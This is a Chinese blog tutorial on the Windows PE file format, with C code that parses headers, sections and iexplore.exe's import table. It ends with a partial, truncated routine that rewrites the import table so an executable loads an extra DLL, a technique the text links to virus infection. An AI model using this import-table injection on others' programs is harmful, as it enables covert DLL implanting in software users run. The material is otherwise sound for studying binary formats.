编程实现感染PE文件加载DLL

不打扰是莪最后的温柔 提交于 2019-12-07 01:00:46

PE文件是Windows系统可执行文件采用的普遍格式,像我们平时接触的EXE、DLL、OCX,甚至SYS文件都是属于PE文件的范畴。很多Win32病毒都是基于感染PE文件来进行传播的。今天我们就来尝试一下通过感染PE文件使其加载指定的DLL。
  
  PE文件功能
  众所周知,在Windows程序中需要调用各种各样的系统API,这些API被微软封装在不同的DLL文件中,这些DLL会在进程启动时(或者需要时)加载进进程的地址空间。我们调用一个API都是基于如下的汇编代码:
00411A3E  mov  esi,esp
00411A40  push  100h
00411A45  lea  eax,[strDllDir]
00411A4B  push  eax 
00411A4C  call  dword ptr [__imp__GetWindowsDirectoryA@8 (42B180h)]

这些汇编代码是针对如下代码的反汇编结果:

char strDllDir[256];
GetWindowsDirectory(strDllDir,256);
  
  可见,调用一个系统API是在参数压栈后调用call命令执行系统调用GetWindowsDirectory()的。上文说过,系统调用是通过DLL引入进程的,但是不同进程引入的DLL地址并不相同,程序是如何知道这个Call应该调用什么地址呢?这就需要PE文件发挥作用了。PE文件里面定义了本文件包含的API地址相对偏移值,执行进程根据这个PE文件加载的基地址和相对偏移值就可以算出某个特定API在本进程地址空间的位置,并加以调用。
  此外,PE文件还具有指定默认引入DLL,导出API等其他功能,下文会一一详细介绍。

分析PE文件的准备工作
  进行PE文件分析需要准备几个小软件,现介绍如下。ExpScope:使用该程序可以打开一个PE文件进行分析,能够显示PE头结构、导入表、导出表、资源等相关信息。LordPE:可以分析静态文件,也可以分析当前运行的进程,此外还提供简单的脱壳和PE文件修复功能,使用方便。WinDump:一个开源的PE文件分析软件,读者可以自行下载进行参考。
  有了这几款软件,现在我们就可以进行PE文件的分析了。为了更生动的分析PE文件的结构,我们尝试编程剥离PE文件的层层结构,并对齐进行修改以验证程序分析的正确性。

PE文件头部分析
  我们的分析以IE为例。首先建一个新的工程,选择Windows控制台程序即可,在该工程内导入类“CMapFile”,这个类可以将一个文件映射入内存,其工作原理是基于Windows的内存映射文件机制,实现细节不再赘述。

PVOID pPeImage =NULL;
DWORD dwFileSize =0 ;
CMapFile cMapFile("iexplore.exe",true,pPeImage,dwFileSize);
if(pPeImage==NULL)
{
printf("Map File Error");
}
  
  在这段代码执行完毕后,pPeImage即为“iexplore.exe”的内存映像首地址,dwFileSize为该内存映像的大小。
  PE文件的头总体结构如图1所示 :


  
  图1 PE文件结构
  MS-DOS头部
  第一个结构是MS-DOS头,这个是为了兼容旧的DOS程序设计的,如果一个Win32程序在DOS模式下运行,DOS头部就会发挥其作用,把执行定位到MS-DOS实模式残余程序,该程序会调用int 21中断输出一个字符串“This program cannot be run in DOS mode”,然后直接退出。MS-DOS头部_IMAGE_DOS_HEADER在“winnt.h”里面有定义。
  typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
      WORD   e_magic;                     // Magic number
      WORD   e_cblp;                      // Bytes on last page of file
      WORD   e_cp;                        // Pages in file
      WORD   e_crlc;                      // Relocations
      WORD   e_cparhdr;                   // Size of header in paragraphs
      WORD   e_minalloc;                  // Minimum extra paragraphs needed
      WORD   e_maxalloc;                  // Maximum extra paragraphs needed
      WORD   e_ss;                        // Initial (relative) SS value
      WORD   e_sp;                        // Initial SP value
      WORD   e_csum;                      // Checksum
      WORD   e_ip;                        // Initial IP value
      WORD   e_cs;                        // Initial (relative) CS value
      WORD   e_lfarlc;                    // File address of relocation table
      WORD   e_ovno;                      // Overlay number
      WORD   e_res[4];                    // Reserved words
      WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
      WORD   e_oeminfo;                   // OEM information; e_oemid specific
      WORD   e_res2[10];                  // Reserved words
      LONG   e_lfanew;                    // File address of new exe header
    } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
  很多读者可能都会看到有些文章把MS-DOS头部称为MZ头部,是因为其第一成员变量e_magic,被称为魔术数字,用于表示一个MS-DOS兼容的文件类型。所有MS-DOS兼容的可执行文件都将这个值设为0x5A4D,表示ASCII字符MZ,就是这个缘故。至于其余的成员变量,除了最后一个成员变量:e_lfanew,基本上都是为了DOS下实模式设计,如今已经没有什么实际作用。e_lfanew用来表示PE头部在这个PE文件中的偏移量。通过如下代码可以获得PE头部地址:
  BYTE *pFileImage = (BYTE*)pPeImage;
  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
  PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
  为什么需要“e_lfanew+4”呢,这是因为除了偏移量pDosHeader->e_lfanew,还有一个DWORD的偏移,这个DWORD 是存储PE文件标志的,值为0x4550,对应ASCII字符“PE”。
  PE头部
  下面我们来介绍PE头部的内容:
  PE头部在“winnt.h”中定义如下:
  typedef struct _IMAGE_FILE_HEADER {
      WORD    Machine;
      WORD    NumberOfSections;
      DWORD   TimeDateStamp;
      DWORD   PointerToSymbolTable;
      DWORD   NumberOfSymbols;
      WORD    SizeOfOptionalHeader;
      WORD    Characteristics;
  } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
  这个结构比较简单,下面我依次介绍这七个成员变量的含义:
  第一个成员变量Machine表示这个可执行文件被构建的目标机器种类,在我的示例程序中获得的Machine值是0x14c,代表i386。第二个成员变量NumberOfSection顾名思义,表示本PE文件段的个数。PE文件段包括段头部和段实体,它们在文件中连续地线性排列着,所以要决定段头部和段实体在哪里结束的话,段的数目是必需的。
  第三个变量TimeDataStamp是一个时间戳变量。第四个和第五个变量PointerToSymbolTable和NumberOfSymbols共同确定了符号表的位置和大小。
  第六个变量SizeOfOptionalHeader表示选项头部的大小,选项头部就在PE文件头部后面线性排列,这个结构是程序运行至关重要的参数,具体内容容后介绍。
  最后一个变量Characteristics表示了文件的一些特征,例如在调试程序时此字段就会发挥其作用。
  选项头
  我们通过下面的代码可以定位到选项头:
  PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
  选项头在“winnt.h”中定义如下:
  typedef struct _IMAGE_OPTIONAL_HEADER {
      // Standard fields.
      WORD    Magic;
      BYTE    MajorLinkerVersion;
      BYTE    MinorLinkerVersion;
      DWORD   SizeOfCode;
      DWORD   SizeOfInitializedData;
      DWORD   SizeOfUninitializedData;
      DWORD   AddressOfEntryPoint;
      DWORD   BaseOfCode;
      DWORD   BaseOfData;
      // NT additional fields.
      DWORD   ImageBase;
      DWORD   SectionAlignment;
      DWORD   FileAlignment;
      WORD    MajorOperatingSystemVersion;
      WORD    MinorOperatingSystemVersion;
      WORD    MajorImageVersion;
      WORD    MinorImageVersion;
      WORD    MajorSubsystemVersion;
      WORD    MinorSubsystemVersion;
      DWORD   Win32VersionValue;
      DWORD   SizeOfImage;
      DWORD   SizeOfHeaders;
      DWORD   CheckSum;
      WORD    Subsystem;
      WORD    DllCharacteristics;
      DWORD   SizeOfStackReserve;
      DWORD   SizeOfStackCommit;
      DWORD   SizeOfHeapReserve;
      DWORD   SizeOfHeapCommit;
      DWORD   LoaderFlags;
      DWORD   NumberOfRvaAndSizes;
      IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
  } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
  此结构成员按照功能的区别可以分为两个域:标准域和NT附加域。
  标准域是和UNIX可执行文件的COFF格式所公共的部分,但是其只保留了COFF中定义的名字,Windows将其成员变量用作了不同的目的。例如,我们可以通过第一个变量Magic获得不同PE文件的种类,一般的Win32程序这个值都是0x10b;通过第二个和第三个变量MajorLinkerVersion、MinorLinkerVersion得到链接此映像的链接器版本。根据第四个变量SizeOfCode确定可执行代码尺寸。根据第五个和第六个变量SizeOfInitializedData和SizeOfUninitializedData获得已初始化和未初始化的数据尺寸。第七个变量AddressOfEntryPoint是至关重要的属性字段,用以确定PE文件执行的入口点,进程加载exe映像后就会跳转到该地址开始执行。此外第八个变量BaseOfCode和第九个变量BaseOfData分别是已载入映像的代码段(“.text”段)的相对偏移量和未初始化数据(“.bss”段)的相对偏移量。
  其余的变量构成NT附加域,顾名思义,这个区域主要存储一些和程序在Windows系统下运行相关的信息。成员变量具体含义如下所示:
  ImageBase:进程映像地址空间中的首选基地址。Windows NT的Microsoft Win32 SDK链接器将这个值默认设为0x00400000。
  SectionAlignment:在进程创建时,相关PE文件的每个段都被相继的装入进程的地址空间中。由于Windwos具有内存分页机制,所以内存各段的初始地址应该与分页对其以提升系统性能,该变量规定了装载时段能够占据的最小空间数量。Windows NT虚拟内存管理器规定,段对齐不能少于页尺寸(当前的x86平台是4096字节),并且必须是成倍的页尺寸。所以该变量默认值为4K。
  FileAlignment:映像文件首先装载的最小的信息块间隔。
  MajorOperatingSystemVersion:系统主板本号。
  MinorOperatingSystemVersion:系统次版本号。
  MajorImageVersion:应用程序主板本号。
  MinorImageVersion:应用程序次版本号。
  MajorSubsystemVersion:Windows Win32子系统主板本号。
  MinorSubsystemVersion:Windows Win32子系统次版本号。
  Win32VersionValue:保留,一般为零。
  SizeOfImage:表示载入的可执行映像的地址空间中要保留的地址空间大小,其值等于本PE文件各个段考虑SectionAlignment对齐后的所占地址空间之和。所以说本变量的值会受到SectionAlignment的大小的影响。
  SizeOfHeaders:本PE文件全部头结构所占的体积,包括DOS头,PE文件头和PE选项头等。
  CheckSum:校验和,某些文件可以设置该值对本身进行完整性保护。
  Subsystem:表示该可执行文件的目标子系统,例如DOS子系统等。
  DllCharacteristics:已经废弃。
  SizeOfStackReserve:程序保留的栈大小。
  SizeOfStackCommit:栈提交大小。
  SizeOfHeapReserve:程序堆保留大小。
  SizeOfHeapCommit:堆提交大小。默认情况下,程序的堆栈空间都是1个页面的申请大小和16个页面的保留大小。
  LoaderFlags:告知装载器是否在装载时中止和调试。
  NumberOfRvaAndSizes:表示后面的DataDirectory数组个数,一般都为16。
  DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]:数据目录表示文件中其它可执行信息重要组成部分的位置。它事实上就是一个IMAGE_DATA_DIRECTORY结构的数组,位于可选头部结构的末尾。当前的PE文件格式在“winnt.h”定义了16种可能的数据目录,这之中的11种现在在使用中。
  数据目录数组各项含义在“winnt.h”定义如下:
  #define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
  #define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
  #define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
  #define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
  #define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
  #define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
  #define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
  //      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
  #define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
  #define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
  #define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
  #define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
  #define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
  #define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
  #define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
  #define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor
  各项的含义注释已经明确说明,不再赘述。
  下面给出此数组单个数组项IMAGE_DATA_DIRECTORY 的结构定义:
  typedef struct _IMAGE_DATA_DIRECTORY {
      DWORD   VirtualAddress;
      DWORD   Size;
  } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
  其中,VirtualAddress代表本DataDirectory相对于文件头部的虚拟偏移地址,注意,这个虚拟偏移地址代表PE文件加载入进程后在进程地址空间相对于本PE文件加载首地址的偏移地址,并非相对PE文件头部的偏移地址,Size表示了这个数据目录的大小。
  所以无法使用下面的代码获得导入表目录的启示位置。
  PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor= (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
  要想弄清楚如何获得根据数据目录(DataDirectory)获得相应的数据,必须首先明确段的概念,我将在下面首先介绍段的相关内容,然后再回过头来解决这个问题。
  PE文件段
  PE文件的段没有什么特定的结构特点,它几乎可以被链接器链接到PE文件的任何地方,程序执行时从PE文件定位段全靠段头部。
  段头部每个40字节长,以数组的形式存放在Image Optional Header后面,可以使用如下代码获得该数组的启示地址。
  PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
  此外,我们可以读取PE文件头部的NumberOfSections变量获取该数组的大小。这里需要提示一下,根据笔者试验,虽然某些PE文件只有三至五个段,但是还是为了段头部数组预留了至少10个空间,也就是说,NumberOfSections表示的只是段头部数组有效元素的个数,而不是全部元素个数,在选项头部和第一个段实体之间的数据都可以用来存放段头部。
  IMAGE_SECTION_HEADER在“winnt.h”中定义如下:
  typedef struct _IMAGE_SECTION_HEADER {
      BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
      union {
              DWORD   PhysicalAddress;
              DWORD   VirtualSize;
      } Misc;
      DWORD   VirtualAddress;
      DWORD   SizeOfRawData;
      DWORD   PointerToRawData;
      DWORD   PointerToRelocations;
      DWORD   PointerToLinenumbers;
      WORD    NumberOfRelocations;
      WORD    NumberOfLinenumbers;
      DWORD   Characteristics;
  } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
  其中,Name储存的区段的名称,这个名称最大长度8字节,且开头第一个字符必须是“.”,如“.text”、“.data”等。
  接下来的Union现在已经不再使用,没有什么实际意义。
  VirtualAddress:这个域标识了进程地址空间中要装载这个段的虚拟地址。实际的地址由将这个域的值加上可选头部结构中的ImageBase虚拟地址得到。切记,如果这个映像文件是一个DLL,那么这个DLL就不一定会装载到ImageBase要求的位置。所以一旦这个文件被装载进入了一个进程,实际的ImageBase值应该通过使用GetModuleHandle来检验。
  SizeOfRawData表示原始数据的大小,也就是根据FileAlignment进行对齐之前的数据大小。
  PointerToRawData:这是一个文件中段实体位置的偏移量。
  接下来的四个变量PointerToRelocations、PointerToLinenumbers、NumberOfRelocations、NumberOfLinenumbers在PE格式中不使用。
  Characteristics定义了段的特征。
  表一显示了不同Characteristics值对应的不同含义:
  表一 Characteristics取值范围及含义
  可能取值
  对应含义
  0x00000020
  代码段
  0x00000040
  已初始化数据段
  0x00000080
  未初始化数据段
  0x04000000
  该段数据不能被缓存
  0x08000000
  该段不能被分页
  0x10000000
  共享段
  0x20000000
  可执行段
  0x40000000
  可读段
  0x80000000
  可写段
  现在可以先回过头解决数据目录定位的问题了,数据目录所指向的内容,必然属于一个段实体,每个段在进程执行时被加载到进程地址空间的偏移量是由这个段段头部的VirtualAddress确定的,这个值得含义和数据目录中的VirtualAddress含义相同,所以只要能够知道数据目录指向的数据究竟属于哪个段,就可以根据两个VirtualAddress的差值确定这个数据目录指向数据相对于这个段实体头部的偏移量,然后再跟据段头部的PointerToRawData定位这个段实体在PE文件中的位置,就可以进一步确定该DataDirectory所对应数据在文件中的位置了。
  下面代码实现了根据DataDirectory数组下标确定其对应的数据位置的功能:
  LPVOID GetDataPositionByDataDirectoryIndex(BYTE *pFileImage,DWORD dwDataDirectoryIndex)
  {
   PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
   PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
   PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
   PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
   if(dwDataDirectoryIndex>=pOptionalHeader->NumberOfRvaAndSizes)
   {
    return NULL;
   }
   PIMAGE_SECTION_HEADER pSectionBelong=NULL;
   for(int i=0;i<pFileHeader->NumberOfSections;i++)
   {
    if(pSectionHeader[i].VirtualAddress<=pOptionalHeader->DataDirectory[dwDataDirectoryIndex].VirtualAddress&&pSectionHeader[i].VirtualAddress+pSectionHeader[i].SizeOfRawData>=pOptionalHeader->DataDirectory[dwDataDirectoryIndex].VirtualAddress+pOptionalHeader->DataDirectory[dwDataDirectoryIndex].Size)
    {
     pSectionBelong=&(pSectionHeader[i]);
     break;
    }
   }
   if(pSectionBelong==NULL)
   {
    return NULL;
   }
   else
   {
    return pFileImage+pSectionBelong->PointerToRawData+pOptionalHeader->DataDirectory[dwDataDirectoryIndex].VirtualAddress-pSectionBelong->VirtualAddress;
   }
  }
  基于类似的原理,还可以实现从VirtualAddress向文件偏移量的转换,下面的函数及实现了如下的功能:
  DWORD VirtualAddrToOffSet(DWORD dwVirtualAddr,BYTE *pFileImage)
  {
   PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
   PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
   PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
   PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
  
   PIMAGE_SECTION_HEADER pSectionBelong=NULL;
   for(int i=0;i<pFileHeader->NumberOfSections;i++)
   {
    if(pSectionHeader[i].VirtualAddress<=dwVirtualAddr&&pSectionHeader[i].VirtualAddress+pSectionHeader[i].SizeOfRawData>=dwVirtualAddr)
    {
     pSectionBelong=&(pSectionHeader[i]);
     break;
    }
   }
   if(pSectionBelong==NULL)
   {
    return 0;
   }
   else
   {
    return pSectionBelong->PointerToRawData+dwVirtualAddr-pSectionBelong->VirtualAddress;
   }
  }
  为了验证上述两个函数的正确性,可以尝试编程获得iexplore.exe导入表中倒入的DLL名称:
  PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+VirtualAddrToOffSet(pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,pFileImage));
  while(pImportDescriptor->Characteristics!=0)
  {
   char *p = (char *)pFileImage+VirtualAddrToOffSet(pImportDescriptor->Name,pFileImage);
   printf("Dll Name : %s\n",p);
   pImportDescriptor++;
  }
  程序运行结果如下:


  
  图2 获得导入DLL名称
  解决了这个问题,我们回到上文对段及段头部的分析中去。
  一个Windows的应用程序典型地拥有9个预定义段,它们是.text、.bss、.rdata、.data以及.rsrc、.edata、.idata、.pdata和.debug。一些应用程序不需要所有的这些段,同样还有一些应用程序为了自己特殊的需要而定义了更多的段。这种做法与MS-DOS和Windows 3.1中的代码段和数据段相似。
  下面我们开始介绍这些段的作用:
  .text:代码段,程序执行代码即存放在这个区域;
  .bss:存储未初始化的数据变量,如各个函数中的static变量;
  .rdata:存储只读数据,如字符串常量;
  .data:存储程序或模块全局变量,这里需要提醒读者,函数中的局部变量在程序运行过程中在栈内动态分配,不存储在上述三个段中;
  .rsrc:存储资源,如位图,图标等。
  .edata:导出数据段,存储本PE文件对外导出的函数名称、地址等信息,在DLL中尤其重要。
  .idata:存储本PE文件导入的其他PE文件信息和导入函数信息,在进程加载本PE文件时,会自动加载导入段中标示的DLL,并获得相应函数地址;
  .pdata:这个段包含了一个函数异常处理表数组,数组的每项对应一个函数,在大多数情况下,每个表项占8个byte,但是如果函数具有异常捕获结构,则需要额外的8个byte来描述。
  .debug:包含了相关调试的诸多内容。
  这其中比较重要的包括代码段、导入段、导出段和资源段,下面我们来逐一分析。
  在分析之前首先介绍一点,现在很多程序都会在某个特定段中实现多个段内容,如微软的浏览器iexplore.exe就是在代码段中实现了导入段的内容,希望大家在分析时注意。
  导入表内容分析
  首先来分析导入表的内容吧。
  在验证虚拟地址和文件偏移量转换算法的时候,笔者编写了一段代码,尝试输出导入的DLL名称,就涉及了导入表的最基本结构。如果调试该程序,就可以发现,iexplore.exe的导入表实际在段“.text”中实现,在“winnt.h”中有若干数据结构都和导入表有关系,首先来分析IMAGE_IMPORT_DESCRIPTOR:
  “winnt.h”中对这个数据结构定义如下:
  typedef struct _IMAGE_IMPORT_DESCRIPTOR {
      union {
          DWORD   Characteristics;          // 0 for terminating null import descriptor
          DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
      };
      DWORD   TimeDateStamp;    // 0 if not bound,
        // -1 if bound, and real date\time stamp
        //  in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
        // O.W. date/time stamp of DLL bound to (Old BIND)
  
      DWORD   ForwarderChain; // -1 if no forwarders
      DWORD   Name;
      DWORD   FirstThunk;   // RVA to IAT (if bound this IAT has actual addresses)
  } IMAGE_IMPORT_DESCRIPTOR;
  第一个成员变量是一个union,其实也就是一个DWORD,这个成员变量既可以在为零的时候代表IMAGE_IMPORT_DESCRIPTOR数组结束(即数组的最后一个元素),又可以表示一个IMAGE_THUNK_DATA数组的虚拟偏移地址,这个数组每一项代表一个引入函数,其具体定义将在后面详细介绍。
  第二个和第三个变量按照PE文件的规范是代表时间戳和数组长度,但是在我的实验中这两个变量的值始终是0xffffffff,估计现在已经不再使用。
  Name是一个虚拟地址,指向一个以‘0’结尾的字符串,代表导入的DLL名称,上文获得导入DLL的名称就是通过这个变量获得的。
  FirstThunk也是一个虚拟地址,指向一个IMAGE_THUNK_DATA数组,代表模块导入的函数。
  读者也许会奇怪,为什么有两个虚拟地址都指向IMAGE_THUNK_DATA数组,两者之间有什么区别?在解释这个问题之前,必须首先弄清楚IMAGE_THUNK_DATA的结构,“winnt.h”对这个结构定义如下:
  typedef struct _IMAGE_THUNK_DATA32 {
      union {
          DWORD ForwarderString;      // PBYTE
          DWORD Function;             // PDWORD
          DWORD Ordinal;
          DWORD AddressOfData;        // PIMAGE_IMPORT_BY_NAME
      } u1;
  } IMAGE_THUNK_DATA32;
  其实这个结构可以被当作一个DWORD使用,当这个DWORD最高位是1的时候,代表这个函数通过序号形式引入,下面的宏就是“winnt.h”中用来取出函数导入序号的。
  #define IMAGE_ORDINAL32(Ordinal) (Ordinal & 0xffff)
  如果最高位是零,则这个DWORD代表一个虚拟地址,指向一个IMAGE_IMPORT_BY_NAME结构,这个结构定义如下:
  typedef struct _IMAGE_IMPORT_BY_NAME {
      WORD Hint;
      BYTE Name[1];
  } IMAGE_IMPORT_BY_NAME;
  在结构定义时,虽然Name数组的长度为1,但是在PE文件中,其为一个以‘0’结尾的字符串,表示函数的名字。例如我们可以使用如下代码获得每个模块中的导入函数名称:
  int _tmain(int argc, _TCHAR* argv[])
  {
   PVOID pPeImage =NULL;
   DWORD dwFileSize =0 ;
   CMapFile cMapFile("iexplore.exe",true,pPeImage,dwFileSize);
   if(pPeImage!=NULL)
   {
    BYTE *pFileImage = (BYTE*)pPeImage;
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
    PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
    PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+VirtualAddrToOffSet(pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,pFileImage));
    while(pImportDescriptor->Characteristics!=0)
    {
     char *p = (char *)pFileImage+VirtualAddrToOffSet(pImportDescriptor->Name,pFileImage);
     printf("Dll Name : %s\n",p);
     PIMAGE_THUNK_DATA pImageThunk=(PIMAGE_THUNK_DATA)(pFileImage+VirtualAddrToOffSet(pImportDescriptor->OriginalFirstThunk,pFileImage));
     for(int i=0;pImageThunk[i].u1.AddressOfData!=0;i++)
     {
      if(0==(pImageThunk[i].u1.Ordinal & IMAGE_ORDINAL_FLAG))
      {
       PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pFileImage+VirtualAddrToOffSet(pImageThunk[i].u1.AddressOfData,pFileImage));
       printf("   Function %u Name :%s\n",i+1,(char *)pImportByName->Name);
      }
     }
     pImportDescriptor++;
    }
   }
   else
   {
    printf("Map File Error");//IMAGE_IMPORT_DIRECTORY
   }
   getch();
    return 0;
   
  }
  运行结果如图3所示:


  
  图3 获得导入函数名称运行结果
  现在解释为什么IMAGE_IMPORT_DESCRIPTOR中会有两个值都指向IMAGE_THUNK_DATA数组,其中OriginalFirstThunk指向的函数导入相关的IMAGE_THUNK_DATA结构,而FirstThunk指向的IMAGE_THUNK_DATA结构首位全部为零,进而指向一个IMAGE_IMPORT_BY_NAME结构,这个结构的Name对应一个长度为一的字符串“?”,而当这个PE文件被加载后,FirstThunk就会变成这个函数在其加载进程地址空间中的位置了。
  修改导入表加载DLL
  下面来尝试给这个文件导入表加一个DLL,为了完成这项工作,首先准备功能函数OffsetToVirtuanAddr(),用来将文件偏移量转换成虚拟地址,代码如下:
  DWORD OffsetToVirtuanAddr(DWORD dwOffset,BYTE *pFileImage)
  {
   PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
   PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
   PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
   PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER) ( ( (char *) pOptionalHeader) + sizeof(IMAGE_OPTIONAL_HEADER32));
  
   PIMAGE_SECTION_HEADER pSectionBelong = NULL;
   for(int i=0;i<pFileHeader->NumberOfSections;i++)
   {
    if(pSectionHeader[i].PointerToRawData <= dwOffset&&pSectionHeader[i].PointerToRawData+pSectionHeader[i].SizeOfRawData >= dwOffset)
    {
     pSectionBelong=&(pSectionHeader[i]);
     break;
    }
   }
   if(pSectionBelong==NULL)
   {
    return 0;
   }
   else
   {
    return pSectionBelong->VirtualAddress + dwOffset - pSectionBelong->PointerToRawData;
   }
  }
  这个函数的原理和函数VirtualAddressToOffset()类似,都是首先遍历全部的段头部,找到本偏移地址所在的段,然后根据段头部的VirtuallAddress和dwOffset与本段偏移量PointerToRawData的差值确定这个Offset对应的VirtualAddress,并返回结果。
  要在PE文件中添加导入段,必须重写IMAGE_IMPORT_DESCRIPTOR数组,上文介绍,这个数组每一项对应一个导入的DLL,以一个Characteristics为零的结构体结束,而且这个数组必须是连续的,此外这个数组后面一般没有空白,那应该把新的MAGE_IMPORT_DESCRIPTOR结构体插入到什么地方呢?
  大家回顾前面介绍的内容,每个段为了内存与页对其,其末尾都是有一定的填充数据的,本程序就是利用这些填充数据写入新的IMAGE_IMPORT_DESCRIPTOR数组。
  新写入的数组比原来的数组长度增加一,对应需要引入的DLL,但是引入一个DLL还需要其他结构的协助,例如“IMAGE_THUNK_DATA”、“IMAGE_IMPORT_BY_NAME”,用来存放旧的IMAGE_IMPORT_DESCRIPTOR数组的空间正好存放这些数据。
  实现代码如下:
  BYTE *pFileImage = (BYTE*)pPeImage;
  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
  PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
  PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32) (pFileImage + pDosHeader->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER));
  BYTE *pInterPoint = pFileImage + VirtualAddrToOffSet(pOptionalHeader->AddressOfEntryPoint , pFileImage);
  PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER) (( (char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
    
  BYTE * pRDataEnd = pFileImage+pSectionHeader[1].PointerToRawData + pSectionHeader[1].SizeOfRawData-1;
  UINT nPadSize=0;
  while(pRDataEnd[0]==0)
  {
   nPadSize++;
   pRDataEnd--;
  }
  nPadSize--;
  程序首先通过上面的循环获得填充数据的长度,然后再获得需要写入的新的IMAGE_IMPORT_DESCRIPTOR数组的长度,存储在“dwBufferSize”中。
  BYTE *pPadStart = ++++pRDataEnd;
  PIMAGE_IMPORT_DESCRIPTOR pOriginalImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+VirtualAddrToOffSet(pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,pFileImage));
  int nImportDescriptor = 0;
  do
  {
